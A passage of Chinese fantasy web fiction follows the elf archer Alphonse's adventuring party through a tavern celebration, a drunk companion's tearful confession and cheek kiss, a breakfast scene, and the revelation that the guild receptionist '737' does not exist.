“也是,虽然是长生种,但你也刚成年不久吧。”梅茜慵懒地笑了笑,她挥了挥手,对酒保耳语了两句。 不一会儿,酒保端着一杯果酒放在梅茜面前,梅茜看了看成色,将酒杯推到精灵对面。 “不过今天都是熟人,醉了也没关系,来,喝一杯吧。”梅茜笑着弯起眼睛,尾巴愉悦地摆动,“这是用果子酿成的酒,应该比较符合你们精灵的口味。” 阿方索看着晶莹的酒液,意外地没有拒绝。 在众目睽睽之下,他拿起酒杯,凑近唇边,咽了下去。 酸甜的汁液无法与祖地的果实相比,酿酒所用的泉水也有些过于拙劣。 但是,感觉不错。 阿方索这样想着,又喝了几口。 当精灵再次抬眼,大家都默契地装作无事发生,各自移开了视线。 诺曼有些不自在地喝了一口酒,梅茜假装在欣赏自己手腕上的手链,妮娜眼神飘忽,努力把目光聚焦到自己的酒杯上。 酒保用力擦着杯子,不敢再抬头。 艾伯特握着杯子的手在一瞬间攥紧,放松,又再次握紧。 “好喝。”精灵放下了酒杯,“谢谢你,梅茜。” 空气沉默了很久,最终,还是诺曼打破了死寂。 “喜欢的话就多喝点。”诺曼的语气讪讪,他装作豁达地举起酒杯招呼,动作却有些热情过头,以至于带着欲盖弥彰的僵硬,“来,喝,都一起喝吧!” 周围人不约而同地举起酒杯,只是一味的往嘴里灌,似乎杯子里的酒水变成了什么难得一见的佳酿。 阿方索看了看周围,也跟着他们拿起了杯子。 一杯,二杯,三杯…… 再来一杯。 阿方索也许只是觉得自己尝试了一个新的食物,恰好觉得不错,仅此而已。 而在他人看来,景象大不相同。 精灵的脸漫上了绯红,浓密的睫毛在眼底投下阴影,似乎不胜酒力。 他的嘴唇沾上酒液,微微抿起,泛出莹润甘甜的光泽,不似平时那般遥不可及。 那如琼浆般的发丝,碧色的眼眸,滚动的喉结与握住酒杯的葱茏十指,是那样的动人心弦,美好得如同命运构建的幻相。 可是,你看,这不过是一场酒宴。 它并不奢华,也并不高贵,只是在一个再平常不过的小镇的小酒馆里,一场最普通的庆祝。 那个身影,却让一切都变得不同。 耳边的金环似乎也被酒液朦胧出了诱人的色彩,在昏暗的环境中,它们随着饮酒的动作微微摆动,昭显着不可言说的欲望。 低头时,垂落的刘海微动,羽饰遮住眉眼,他人看不清主人的神情,只是靠着耳边的酡红恍惚觉得,那人即将陷入一场酒醉。 其实,哪怕有一个人能够尚且清醒地仔细看着阿方索的眼睛,就能看出来他底色还是清明的,并未酩酊,只是比较容易上脸。 他确实是精灵,却并非误入此地。那副看似不盈一握的身躯,也蕴含着无法想象的力量。 可是没有人敢细看那双眼眸。光是余光偶尔扫过,杀伤力就已经足够让人痴痴。 如果再长久地注视那双眼眸,恐怕真的会失足于狄俄尼索斯的诅咒吧。 而有人明显早已沉沦。 “……脸这么红,没关系么?”身边的少年开口关心,仍然是平时开朗的语气,因为沾染上酒意,带一丝沙哑。 精灵转头看他,目光清明。 “我没醉。”精灵平静地回答,“你,有点醉。” 艾伯特怔了一下,因为脸本来就足够红了,看不出来更多。 或许他确实醉了,少年没有反驳,只是吃吃地笑了两声。 他举起酒杯,精灵默契地回应,酒杯相撞,发出咚的一声。 艾伯特那边的酒液洒出了一些,但他没在意,拿起杯子一饮而尽。 酒宴进行了不知多久,结束时,外面的天色已经完全深沉。 梅茜闭眼,手扶着额头;诺曼烂醉如泥,摊成一片;妮娜已经趴在桌子上睡得正香。 只有阿方索还坐得笔直,神情淡定。 艾伯特一只手握着酒杯,另一只手放在桌子上,他躺在自己的手臂上,侧着头,看着身边的精灵,眼神发直。 酒保已经出去叫人,女侍长领着人三三两两地进来。 梅茜和妮娜分别由两个女侍送回,诺曼比较耗费人力,花了四个人抬他回去,酒保也在其中。 轮到艾伯特的时候,人刚好不够,现在天晚了,大家基本都回了家,要送他回去,至少要等送诺曼的人回来再说。 女侍长拧起了眉,眼神中充满抱歉。她刚要开口,就被阿方索起身的动作打断。 “我来吧。”精灵扶起艾伯特,动作自然而轻松。 艾伯特倚在他的肩头,踉跄了两下,勉强支撑起身体。 他完全没有反抗,反而更紧地抓住了阿方索的衣角。 “我没醉,可以带他走。”阿方索看向女侍,点点头。 女侍长怔愣了一下,眼神在两人之间流转,忽然,她好像明白了什么,脸上忽然露出笑容。 “那,就麻烦客人您了。”她弯了弯腰,侧过一步,目送他们离开。 一路上,他们都没遇到什么人,看来实在是太晚了。 天空也是一片宁静,和刚到木林镇那晚一样,没有月亮,只有几颗星子闪烁。 艾伯特看看天空,又看看阿方索,他似乎在发呆,脚步虚浮,整个人几乎是挂在精灵身上。 他看了又看,看了又看,最后发出了几声不知何意味的笑声。 “怎么了吗?”阿方索问。 年轻的团长用力地摇了摇头,不说话,只是看着他,一味地笑。 到了旅馆,上楼。 阿方索知道艾伯特的房间在哪,也在艾伯特身上找到了钥匙。 少年虽然脑子不清醒,但是还是乖乖地任他寻找,衣物因为一路上的磨蹭有些凌乱,但好在钥匙没有丢失,就在裤子内侧的兜里。 阿方索推开房门,踏了进去。背后,房门无风自合,隔绝了此方和外面的世界。 阿方索将喝醉的剑士扶到床上,钥匙放在床头柜。 艾伯特身体不稳,跌坐在床边,双手还紧紧抓着精灵手臂上的布料不放。 他抬起头看他。那双紫红色的眼睛因为醉意变得朦胧,泛着水光,如同宝石般莹莹,显得格外可怜可爱。 按理来说,一个有人性的男人是不会做出这种表情的。 然而,和一个已经被酒精和爱慕迷得神魂颠倒的人讲人性,是完全说不通的。 别说人性了,要是阿方索开口的话,变性他都愿意。 “想、想要把世界送给你……”他揪着精灵的衣服,含糊地说。 “谢谢。”精灵没有扯开他的手,没有因为是醉话而无视,但语气也没有丝毫涟漪。 “但,用不上,那么多。” 他认真地补充。 精灵只是实话实说。平心而论,阿方索想做的就是跟着冒险团一起游历。 至少目前,他还想不到拥有一个世界能有什么好处。 但艾伯特似乎对这个答案不是很满意,他鼓了鼓腮,又瘪了下去,显得有些孩子气。 “我认真的……”他喃喃 自语。 “我也,认真。” 艾伯特更不高兴了,俊俏的五官挤在一起,耳朵几乎跟耳钉一个颜色,气鼓鼓地看向阿方索,但很快又泄了气。 他身体向前倒,手却往下扯,力求靠得更近,几乎贴在了精灵的脖子上。 “阿方索……”靠在他肩头的少年呢喃,思绪混乱,话语也就模糊不清,声音黏腻,又断断续续,“我……” 细长的睫毛扫过敏感的脖颈,带来陌生的痒意,阿方索下意识缩了缩脖子。 “痒。”精灵推了推少年的肩。 少年温驯地离开,坐回原位,却没有停下来的意思。 他松开衣袖,转而握住精灵的手,贴在自己的脸颊上,似乎是觉得很舒服,又在无意间蹭了蹭。 虽然两人个子不差太多,但艾伯特的手比阿方索的要大一圈不止,能够轻易圈住精灵的手腕,盖住他的手指,掌上还有着剑茧粗糙的质感。 似乎还觉得不够,艾伯特拉着对方的手,探向自己散开的衣襟。 紧接着,细白的手指触摸到锁骨,醉酒的人身体似乎比往常还要热许多,如同火焰般灼热。 精灵似乎像被烫到一般,在触碰的一瞬间,手指蜷缩起来。 “……你,讨厌我吗?” 看见对面的反应,艾伯特的神情黯淡下来。 他抬眸迎上精灵的眼睛,声音急切地寻求答案,语气听起来几欲落泪。 也真的落下泪来。 精灵没有立刻回答,他垂眸看着艾伯特,看着他的眼泪一滴一滴,顺着脸颊流下。 少年似乎并无所感,只是仍然固执地看着他。 那双紫红色的镜子一般的瞳孔中,映出精灵的身影,也盛着超脱于理智与规则之上的感情。 那是被称为永恒,然而从未宣之于口的。 爱情。 精灵并不完全能理解那双瞳孔里所蕴藏的渴求与哀痛,也无法辨明热情与渴慕的本质,那样深沉的情感从何而来,他尚未知晓。 只是在须臾之间,在身体的本能深处的记忆里,似乎也有那样的一个人,格外熟悉,拥有着同样的眼睛,同样的表情,同样的……爱意。 恍如来自遥远的往昔。 可是阿方索没有什么往昔,他才十八,最近才刚刚离开祖地,更不可能有什么旧情。 那种感觉稍纵即逝,来不及捕捉就已消弭。 阿方索动了动手指,想为他拭去眼泪。 然而,只是晃神的一霎之间,手腕上的手指再次发力。 与刚刚的一次不同,这一次,阿方索被拽了下来。 他还没来得及反应,身下的少年就已经贴了过来。 开始是带着酒气、湿润的吐息,随后,柔软的触感贴上脸颊,带来一阵温热。 明明是很轻的触感,如同平日间动作时羽饰擦过眼角,也像在密林穿梭时树叶拂过耳畔,但又截然不同。 精灵的动作停住,眼睛眨动的速度明显放慢。 简单来说,他懵住了。 ……还是第一次,有人离他这么近。 这是,吻吗? 他呆在少年的怀里,歪了歪头。 艾伯特没有解释,也没法解释。 在刚刚的一阵乱蹭之后,他似乎终于失去了最后一丝意志。 绿色的长发如同海藻一般散落在精灵的肩上,少年呼吸渐渐变得平稳,睡了过去。 阿方索等了一会儿,发现并没有任何反应,于是戳了戳他的脸颊。 睡着了吗? 好像真的睡着了。 他顿了顿,收回手指。 阿方索慢慢直起身,他轻轻扒开紧紧抱着自己的手臂,然后把睡着的少年放在床上,盖好被子,随即转身离开。 隔壁不到五步,就是自己的房间 阿方索回了卧室,却没有立刻开始准备休息。 他关好门,看向床头的木弓。 “今天喝酒了,挺好喝的。”他说的是精灵语,语言流畅。 木弓闪了两下,似乎在回应。 好喝就多喝一点吧,等完事回到祖地,要喝多少有多少。 “刚才大家都喝醉了,只有我没醉哦。人手不够,我还送我们团长回来了。” 木弓晃了一下,似乎心情愉悦。 那很厉害哦,帮助朋友很棒呢。 “不过刚才送他回房间的时候,他一直拉着我,有些我没太听清,但有一句话我听清了,他说要把世界送给我。” “送这么多,”,阿方索顿了顿,又说:“艾伯特真是个好人。” “不过我不是很需要就是了。” 木弓没有回应,似乎被震住了。 “送他回房间的时候,他的嘴唇不小心蹭到了我的脸颊。”精灵轻描淡写地说,“不过他喝醉了,不清醒,应该不是故意的。” “而且你之前跟我说过,朋友之间,应该有时候也会有亲吻吧。” “好像是叫,吻颊礼来着?”精灵想起了名字。 木弓疯狂闪烁。 虽然是这么说过,也确实有这种礼节,但是这个完全不是这回事吧啊喂! 但是终究无力回天,阿方索明显对自己逻辑自洽的解释很满意。 “所以,不用担心我,我过得很好。”精灵自顾自地说着。 说完,他摸了摸自己的脸,温度有些烫手。 可能是酒还是有点喝多了。 这样是睡不着的。阿方索走到窗前,推开了窗户,让外面带着凉意的空气透进来。 应该过一会儿就好了。 精灵坐在窗边,等着自己脸上的温度褪去。 阿方索决定等脸没那么热,就回去睡觉。 然后,他就吹了一晚上的凉风。 23. 名字 阿方索看着窗外熹微的天光,陷入了沉默。 他只是想等脸别那么红了,再去睡觉而已。 天怎么亮了? 怎会如此。 他抿了抿唇,只是一晚不睡,对精灵来说倒也不是什么特别致命的事情,阿方索只是有些困惑。 明明酒意并未迷乱神智,只是有些醺然,只是那些饮下的果酒,怎么也不至于此。 ……只是,吹着晚风的时候,确实会偶尔想起,在艾伯特房间里,那张年轻漂亮的脸,和那种柔软温热的感觉。 那双紫红色的眼瞳,其实从没有一刻离开过脑海。 被贴住的时候,大脑来不及思考,按理来说,身体应该躲开了,但是没有。 现在想想,他其实并不讨厌。 挺舒服的,就是有点痒。 阿方索摸了摸胸口,心跳又快了起来。 所以,是因为这个?精灵迟钝地想。 不能完全确定,但既然找到了可能的原因,就得想办法让自己不想这个。 好像,奶油蘑菇汤就不错。 事已至此,先吃饭吧。 而且,话说回来。在曙光冒险团居住的这段时间里,老板娘听说了他的口味,特意把奶油蘑菇汤做进了每日菜单。 真好。 就这么办吧。阿方索做出了决定。他起身离开窗户,去洗漱室。 在镜子前,阿方索拧了条热毛巾,擦了擦手,又蹭了蹭脸,捂捂耳朵,简单整理衣物,洗漱了一下,把昨晚被风吹得有些僵硬的身体缓和下来。 阿方索摸了摸自己的刘海,发型没有太乱,又摸了摸脸,手指在颊边顿了一瞬,又放松下来。 随后,他回到窗前,朝外望了一眼。 天色还早,周围人影稀疏,三三两两,都在忙自己的事情。 看来不会扰民。 精灵放下手,他扶住窗棂,足尖轻点,直接从窗户上翻了下去。 鞋底沾上地面的时候,甚至没有发出半分声音,只有一点灰尘轻扬。 十分。 完美落地。 然而相当不巧,旁边传来重物落地的声音。 阿方索转过头。 一个男人意外路过,看见这一幕,瞪大了眼睛,嘴都合不上,手还愣愣地保持着搬东西的样子。 特别是看清身影主人转过来的脸,更加动弹不得。 阿方索走过去,把箱子搬了起来,稳稳放回到他的手上。 男人愣愣地接过,手上一沉,才反应过来发生了什么。 他连忙开口,刚问那个人的名字,但只是眨眼间,那人已经消失不见。 他捧着手中的木箱,莫名有些怅然若失。 阿方索顺手关上餐厅的大门,走到前台。 “阿方索,你来啦!”老板娘是个脸圆圆的中年妇女,看到精灵,笑容灿烂如花,“来得真巧,奶油蘑菇汤已经炖上了,一会儿就能喝了。” “好。” 精灵走到角落的座位上,乖乖坐好。 诺曼来到一楼餐厅的时候,阿方索已经喝完一碗汤了。 看见诺曼过来,他放下碗,拿起旁边的手绢擦了擦嘴,然后对睡眼惺忪的来人点了点头。 “阿方索,早上好啊,你起得真早。”诺曼头发凌乱,睡眼惺忪,刚问完好,就大大地打了个哈欠。 他抹了把脸,在精灵对面坐下,努力地睁眼,试图让自己清醒一点。 老板娘正好送来了醒酒汤,诺曼道谢,喝了两口,总算缓过来一些。 他看了看对面衣着整齐的阿方索,诺曼记得明明昨晚他也喝了不少,精灵脸上没有任何宿醉的痕迹。 “没想到你酒量这么好。”诺曼半认真半打趣地调侃道,“和你一比,我们几个简直成了柔弱又娇气的小花骨朵了。” “话说,你本来就已经很欢迎了。这样的话,也太超过了。” “总比你这样嘴上花花,实力一般的强。”阿方索还没回答,就有一个少女从楼梯走来,随口接话。 妮娜难得没有细致地扎发,她头发松松地绑起,用一个雏菊样式的发夹固定在了胸前,发带绕在手腕,揉着眼睛走了出来。 比平时少了几分精致,多了几分少女的娇憨。 “实力哪里一般了。”诺曼笑嘻嘻地说,“都是对比太强,下次换个人,我肯定赢他。” “还吹,而且,就你还花骨朵呢,昨日黄花还差不多。”少女身后,传来善魔懒洋洋的打趣,声音带着些许沙哑。 看来昨晚,除了精灵,谁也没逃过宿醉的命运。 就连梅茜向来梳理精细的蓝发,都变得有些过于蓬松了。 她脸颊边的小辫松松垮垮,几根发丝俏皮地翘起,粉眸中几分迷蒙还未完全消散。 梅茜揉着太阳穴,擦了擦因为困意泛出的泪花,走到餐桌边坐下。 “话说艾伯特人呢?还没下来?”她抿了一口醒酒汤,“阿方索,昨晚你和他应该是最晚走的吧?你们怎么回来的?” “我没醉。”精灵回答,“我送他,回去。” “你,送他回去?”妮娜正在喝牛奶,听闻此言差点呛到,语气不可置信。 “不是,你,他?你们俩,没干什么吧?”妮娜把杯子摁在桌子上,语无伦次,“不对,他没对你做什么吧?” ? 阿方索有点迷惑。 为什么,会觉得艾伯特会对他做什么呢?他们是一个冒险团的啊。 而且艾伯特也打不过他。 精灵歪了歪头,刚要张口,就被脚步声打断。 是艾伯特,他下来了。 艾伯特没带他那把剑,走路的姿势还算平稳,衣服看起来也还体面,只是状态比较差。他紧抿着唇,眼眶有些发红,微微肿起。 大家的目光瞬间转移到了年轻的团长身上。 不对,怎么眼睛红的是艾伯特啊?难道…… 艾伯特对众人的想法一无所知,他精神状态似乎一般,走了过来,有气无力地点了两下头,算是问好。 大家都已经来了,餐桌上只有阿方索旁边有空位,艾伯特眨了眨眼,似乎终于清醒了一些。 他脸有点红,又觉得不能太过明显,犹豫了半秒,才坐到了精灵的旁边。 虽然他表面上是一副好巧的样子,但实际上,谁都能看出这个巧合真的是巧到艾伯特心坎里了。 他低头喝了一口汤,胃里舒服了不少,发出一声小小的喟叹。 一抬头,却发现大家都在盯着自己。 “怎、怎么了吗?”艾伯特手有些抖,“看我干嘛?你们继续聊呗。” “我们刚才聊的就是你啊。”梅茜眯了眯眼,“昨晚你和阿方索是最晚回去的,你们俩,有没有发生什么?” 艾伯特听闻此言,眼睛缓缓睁大,脸色在一瞬间爆红。 “我……我们……”少年说话断断续续,声音颤抖,似乎被直白的话语冲击巨大,连完整的词都组不出来。 还是阿方索帮他回答了。 “我扶他回来。”精灵平静地说,“上楼,不松手,抱了一下。” 妮娜继续捧起牛奶,努力绷住多余的神情,梅茜促狭地眨了眨眼。 “行啊,小子。”诺曼投去赞赏的眼神。 比他想象的还要出息一点啊,还以为艾伯特会更怂一些呢。 诺曼完全不知道他看错了人。 艾伯特低下头,几乎把脸埋在汤里。 昨晚的香气似乎还萦绕在鼻尖。 在酒宴之前,艾伯特虽然看起来毫无经验,但他不是那种会放任自己在陌生环境里完全失去意识的人。 昨晚的事情,只能说,有酒精的助力。 只是他没想到,最后,竟然会真的睡过去。 。 太没出息了。 在模糊而真实的记忆之中,不能宣之于口的地方太多太多。此刻,他只能哑然。 “我,我记不太清楚了……”他捂着脸,语气虚浮,似乎有些懊恼,又带着些说不清道不明的遗憾。 “没事。”精灵表示体谅,“喝醉,正常。” “谢谢……” 艾伯特低头喝汤,觉得口中有点苦涩。 其实是不 正常的,只是他不敢说而已。 早餐快要结束的时候,一个熟悉的身影推门而入。 维特拿着一个包裹严实的包袱,做贼一样偷偷摸摸地溜了进来,目标明确,直奔冒险团所在的角落。 “看来我来的还挺是时候的。”猫嘴角带着得意的笑,“喏,东西都到了。” 他轻轻扯开包袱的一角,一个信封躺在里面,信封上,魔晶在散发着幽幽的光,随后又立刻被布料掩盖。 “可以吧。”维特单手叉腰,“安全工作做得相当到位。” “不错。”梅茜接过包袱,在腿上放好,“谢了。” “你们都帮了我这么多,这点事,还是轻轻松松的。”维特用手指蹭了蹭鼻子,笑着说。 “对了,关于那个前台……”艾伯特忽然开口,问,“维特,你知道些什么吗?” 虽然现在魔花的事情已经尘埃落定,委托也已经完成。 但是,关于那个前台的事情,冒险团现在还是可以说是一无所知。 “我能告诉你们的,差不多都说了。公会那里我不熟,当时找阿方索的那个委托,也是他提出说可以帮我的。”维特摇了摇头。 “我知道他知道很多事情,也肯定和公会那边有关系,但也仅此而已了。”维特说,“我虽然认识他也挺久了,但是对他了解的,其实并不比你们多多少。” “你们不说他是前台,我都不知道他还有这份工作。” “反正,我觉得,他……挺可怕的,也肯定不简单。”维特犹豫了下,补充道,“从我认识他这几年以来,见到他的时候,就没见他不笑过……你懂我意思吗?” “虽然他长得不错,但一个正常人怎么可能天天都笑,而且怎么笑都一个样。”维特抖了一下,总结,“就是……瘆人。” “这样啊……”诺曼摸了摸下巴,“反正现在也没事了,要不要回那个镇子一趟,直接找他去好了。” “先不要打草惊蛇。”梅茜沉吟片刻,开口道,“魔花的事情已经上报了公会。如果像维特说的那样,737真的和公会有关系,他能知道阿方索出现,就一定能猜到委托的进展。” “反正,你们小心一点,总没问题的。”维特叮嘱。 “其实,除了一开始那次,后来737对我也挺好的,就是……我总觉得他哪里怪怪的。” “算了,不说了。” “对了,我有点事想找阿方索。”维特的目光扫过,最后停在精灵身上,“听说冒险团要离开,我弟弟妹妹给你准备了送行礼物,他们不好意思直接过来,托我给你。” “他们还说要我专门给你,不好意思给其他人看。”维特笑了笑,“麻烦你跟我出来一趟,一会儿就好。” “行。” 阿方索起身。 艾伯特张了张嘴,但最终没有叫住精灵,只是默默看着阿方索的背影。 直至精灵离开旅馆,他盯了大门很久,才装作无事一般收回了目光。 出门后,维特带着阿方索,却没有立刻给他礼物,而是在小镇上看似漫无目的地行走,前后左右,绕了好几个弯。 最后,他们来到一个无人的小巷。 在小巷的尽头,维特站定步伐,转过身。 两人面对着面,对视着精灵的眼睛,维特表情变得认真起来。 “我,有东西要给你。”维特说。 “……是关于,我的老师。” “关于,她的名字。” “我没撒谎,在艾莉丝那里说的都是真的。”维特抬眼看他,“但是,她也说过,是你的话,就没有关系。” 他没有直接说,反而侧身,从精灵的身边走过。 两人擦肩的时候,维特将一个纸片塞到阿方索的手中。 虽然直接塞也可以,周围也没有冒险团其他人的踪迹,但是还是确保万无一失比较好。 而且维特觉得,这样真的很帅。 察觉到异物,阿方索的手指动了动。他抬起手,展开掌心,把那张薄纸举到眼前。 纸条上,整整齐齐写着一个名字。 “夏洛特。” 24. 来信 新地图昨日花田加载 看到这个名字,阿方索的眼神闪烁了一下。 “我知道她。”精灵缓缓开口,“她,是我父母,朋友。” “那还挺巧的。”维特好奇地追问,“那你见过她吗?话说,她在祖地的时候是什么样子的呀?和现在一样吗?” 阿方索摇摇头。 “没见过。”他说,“应该,差不多。” 维特稍稍有点失望,但很快找到了理由。 精灵的寿命有那么长,应该也不会像普通人那样联系感情吧?也用不着着急,反正属于他们的时间,总是充裕的。 ……而且,说实话,就连维特自己,去年去亲戚家拜访的时候,也叫错了好几次。 不过,这样简单至极的回答,也算是这位精灵的一种特色了。 想到这里,维特不禁失笑,他摊了摊手,说:“你说话怎么就这几句啊。” 他甩了甩尾巴,“不过还挺可爱的。” 打量着精灵面无表情却精致无比的容貌,特别是那双碧绿剔透却又如同湖水般晶莹的眼眸,维特又有点感叹。 “我本来以为我老师就是我见过最好看的人了,没想到,还能遇见你这样更好看的。” 猫耳少年赞叹,“你们精灵一族,真是有点说法的。” “……谢谢。” “说真的,你是我见过最好看的人。”维特用拳抵唇咳了一声,“这话不要告诉利恩哦。” 他的眉毛一高一低:“虽然是客观事实……但毕竟现在……嗯,不太一样了。” 他摸了摸脖子上的细链,杏眼微弯。 项链的链身是银色的,吊坠隐藏在衣服,看不见是什么样式。 之前几次见面,阿方索之前从未见维特带过饰品,不知是何时多出的。 可能是昨晚。 阿方索看着他,但是维特没有解释更多。 “虽然就要分别,但是我相信我们还会见面的。” 维特舒展眉头,眼睛明亮。 “我会成为最厉害的药剂师,在此之前,你们也要努力啊。” 维特嘴角缀着自信的笑意,少年人眉目飞扬,如此吐出如同痴心妄想般的话语。 却并不让人觉得轻浮自大,只觉得明亮。 可能是因为因为,他确确实实拥有“未来”。 充满期待的未来,无限可能的未来。 精灵点点头,说:“会的。” “那么,也该说再见了。” 维特双眼弯起,露出了相识以来最为真诚放松的笑容。 “祝你们旅途顺利,朋友。” 但是精灵没有回应,而是伸出了手。 “礼物。”他言简意赅。 “哦,我差点忘了。”维特一拍额头,立即掏兜,“幸好你提醒我,不然回去之后,那群小家伙肯定要闹了。” 说着,他拿出了一个小小的花环。 “这个是他们一起编的,费了好久时间呢。”维特把花环放在他的掌心,看着精灵收好,“对了,那个花栏我看见了,爱丽丝说的没错,真心漂亮。” “艾伯特,修好的。”精灵说。 “知道,也谢谢他。”维特笑了。 “这种魔法,要是用来做药剂……”他咂咂舌,有点可惜。 “算了,我不说了,多说多错。”维特捂住自己的嘴,强行压下自己的职业病。 “本来还想搞个潇洒一点的告别呢,算了。”维特松开手。 “那我走啦,你也快点回去吧,不然你那群朋友着急就不好了。” 精灵颔首,维特背对着他挥了挥手,抬步离开。 阿方索站在原地,偏头望着少年远去的背影,他回过眼神,又看了看手中的纸条。 目光停留了一瞬,随后,纤长的手指轻轻捻起。 瞬间,纸条化为光沫,如同从未存在一样,消失得无声无息。 金发的精灵注视着这一幕,面无表情。他松开手,掌心空无一物。 夏洛特。这个名字,他曾经在很多地方听到过。 母树,父母,长老……他们从未相见,却知道彼此。 母树向他讲述过她的故事,如同它向他讲述其他所有的精灵一样。 草木的女儿,族群的叛逆者,也是第一位离开祖地、深入世间,甚至与王室结盟的精灵。 无论是枝叶间,还是觥筹交错之中,她都是一名很好的舞者。 是命运的巧合吗?阿方索并不讨厌,却也谈不上多么欣喜或兴奋。 只是恰好遇到了,知道了,仅此而已。 依照这位同族的表现,她似乎也并不希望别人知道太多。 虽然维特告诉了他,但帮忙隐藏一下,顺手的事,没有必要大张旗鼓。 他没有那种遇到同乡的特别喜悦。在阿方索看来,建立感情,也并不需要对方一定是同族。 只是,如果有一天真的见面的话,阿方索有一个问题想要问她。 深更半夜平躺在林子里,是怎么觉得有意思的? 他觉得一般。 可能是哪个步骤做得不一样吧。 他也想过多试几次,改变一下变量。不过如果偷偷溜出去,第二天忘记准时回来的话,艾伯特会很着急。 那就算了吧。 金发的精灵少年站在小巷里,长长的睫毛投下阴影,他轻轻捏着手指的指节,神色不明。 如果有第二人看到这番场景,一定会觉得高贵而不可侵犯。 在阿方索的视角下,他只是在认真思考而已。 就是方向可能比较清奇。 任何一个看到他表情的人都不会想到,清冷的面容下竟是如此跳跃的思绪。 忽然,原本清静的周围,突然传来一阵脚步声。 这个角落是维特精心找到的,做了很多功课,位置相当刁钻,一般人根本不可能会在这个时候来到这里。 阿方索手指顿了顿,他抬起头。 一个身影出现,遮住了巷口透进来的光,由于逆着光线,来者的面容无法看清。 但精灵认出了他,阿方索手指放松下来。 “艾伯特。” 精灵的声线一如既往地平静。 “阿方索,你在这里啊。”身影上前两步,显露出熟悉的样貌。 得到回应之后,艾伯特松了一口气。 一看见阿方索,年轻的团长神情瞬间无可自抑地变得雀跃起来,他脚步轻快,几乎以闪现一般的速度瞬移到了精灵面前。 “梅茜那边有事情要说,我想你们应该结束了,就过来找一下。”他看着精灵,紫红色的眸子带着一份羞涩,九分欢欣。 因为赶来的时候比较急,少年说话时还有些气喘。 随着说话的动作,他短发的部分微微晃动,配着下方散落的长发,像一只Q弹的绿色水母,显得十分好摸。 艾伯特的一只手搭在另一只手的上臂处,微微握紧,指节有些突出。 阿方索盯着他弹跳的头发,指尖微动。精灵看了几秒,才把视线移回艾伯特的脸上。 “嗯,走。” 阿方索面色如常,走到少年的身边,向旅馆的方向走去。 艾伯特跟上脚步,与他并肩,两人一起离开了这个隐秘的地方。 他没有解释自己是怎么找到这个偏僻的小巷的,阿方索也没问。 回到旅馆的时候,冒险团的其他人还坐在那里。 梅茜看见艾伯特和阿方索一起回来,有些惊讶地挑了挑眉。 不是,真让你找到了。 这寻踪觅迹的手段,组冒险团真是屈才了。 如果哪天冒险团解散,艾伯特真应该去尝试一下当盗贼,看来也是颇有前途。 要是觉得盗贼不体面的话,还可以考虑一下王都督察队。 她正好都认识熟人。 不过,现在说这个还早。 目前的情况看来,只要阿方索还在,艾伯特就不可能离开冒险团。 人员到齐,梅茜拿出包袱,当着冒险团众人的面完全拆开,里面的东西,顿时一览无遗。 “这个……是什么?”妮娜看向魔晶下面那个朴素一些的信封,好奇问道。 “……是一些,我觉得有必要知道的事情。”善魔拿起信封,拆开,“比如说,那位交给我们委托的狐狸先生,究竟是何方神圣。” 梅茜看着手中的信,一目十行。 信不长,很快读完。她深吸一口气,闭了闭眼睛。 “梅茜,怎么了吗?”诺曼有点感觉不妙。 梅茜嘴角露出一抹意味不明的微笑,她的手指攥紧,纸张被揉搓成皱巴巴的一团。 花了这么多钱,情报就只有这些? 善魔缓缓吐气,尾巴紧紧缠绕住小腿。 梅茜把纸团在手上抛了抛,脸上又露出了笑容,不过看起来相当危险。 没想到她活了一百多年,居然被一只狐狸摆了一道。 她转向冒险团其他人,语气冰冷。 “他们说,根本就没有工号为737的前台。” 大家面面相觑。 艾伯特下意识紧张起来。 如果那个前台是假的,阿方索冒险团的身份会不会有问题? “……梅茜,能让我们看看吗?” “可以,但是这种情报不能存在太久,容易留下把柄。”梅茜稍微冷静下来一些,她把信纸扯开,拍在桌面上。 “五分钟,阅后即焚。” 话音刚落,几个人齐刷刷凑到纸张上方,仔细辨识着皱乱纸张上的文字。 其实看来看去,有效信息少得可怜,刚才说得那句总结,几乎就是全部。< /p>梅茜找的人肯定不会是泛泛之辈,除非,是真的没有办法。 “但是,那上面也说,阿方索的弓手身份确实登记了……”艾伯特压低声音,点了点信息所在的位置。 “那就更糟了,说明他真的是有关系。”诺曼苦笑,他坐回了椅子,晃了两下,“更没办法讨个公道了。” “但是委托标记完成,魔晶的检验也没有被扣下。”妮娜拧眉,努力整理当前的信息,“他如果真的想给我们使绊子,又真的有关系的话,为什么这些事情都不动手脚。” “这就是疑点。”梅茜用指尖画了一个问号,“这个人的行为是矛盾的。说他要帮维特,他和维特的关系又一般;说他要给我们使绊子,故意引诱我们送死,但是之后的事情,他又毫无反应。” “然而,只要做事,就一定会有动机。他一定有我们所不知道的目的。” “什么目的?”诺曼的喉结动了动。 “不知道。” “…………” “……啊?” “就是不知道啊。”梅茜翻了个白眼,“要是我知道的话,我能不说吗?” “不排除一时兴起的可能,有些人就是喜欢找乐子。”善魔揉了揉眉心,“但他明显是之前就设计好的,而且知道的情报明显不少,是专门设的局。” “那我们就只能这样了吗?”艾伯特不甘,他搭在桌面上的十指握紧,捶了一下,“就任由他欺骗我们?还调查阿方索?” 精灵刚才还在神游天外,这会儿被点名,才看了艾伯特一眼,又跟着重重点头。 “能怎么办,我也不甘心。”梅茜摊手,“别说人找不到,就算找到了,咱们一个小冒险团,你不靠家里,有十成十的把握告倒人家吗?” “力气小点,真坏了还得赔钱。” “这件事当然不会这么过去,”善魔眯了眯眼,“他不可能就这一次,总有一天,能抓到他的狐狸尾巴的。” 旁边的三人刚有些热血沸腾,就听梅茜又说。 “但现在,不是没办法嘛。” 看见三人失望的表情,又看看阿方索清澈的眼神,梅茜绕了绕刘海,表情放松了一些。 “别这么看着我,实话实说。只能走一步看一步了。”梅茜轻轻一点,原本就不堪重负的纸张立时化为了灰烬,“往好处想,阿方索的身份没有问题,魔晶和委托金也到手了,以后的委托,要小心一下就是了。” “好了好了,反正来日方长。”诺曼拍了拍手,鼓起劲儿来,“不是不报,时候……” 话还没说完,一阵明亮的光芒在男人的头上闪过。 他的头顶忽然被什么东西砸下,诺曼吃痛,捂住头哎呦了一声。 “什么玩意儿……” 他刚要抱怨,定睛一看,是一封精致的文书,外面还有着烫金的花纹。 曙光冒险团对这个花纹再熟悉不过,不久前,他们还在维特的通知书上看到过。 况且除了阿方索,几个人都是学院的学生。 “原来是王都学院啊……”诺曼抽了抽嘴角,“通知就通知,一言不合砸下来算什么事。” “他们不一直这样,这么多年,也不知道改改。” 善魔轻巧地接过掉落的文书,她熟练地拆开,伸手抽了出来。 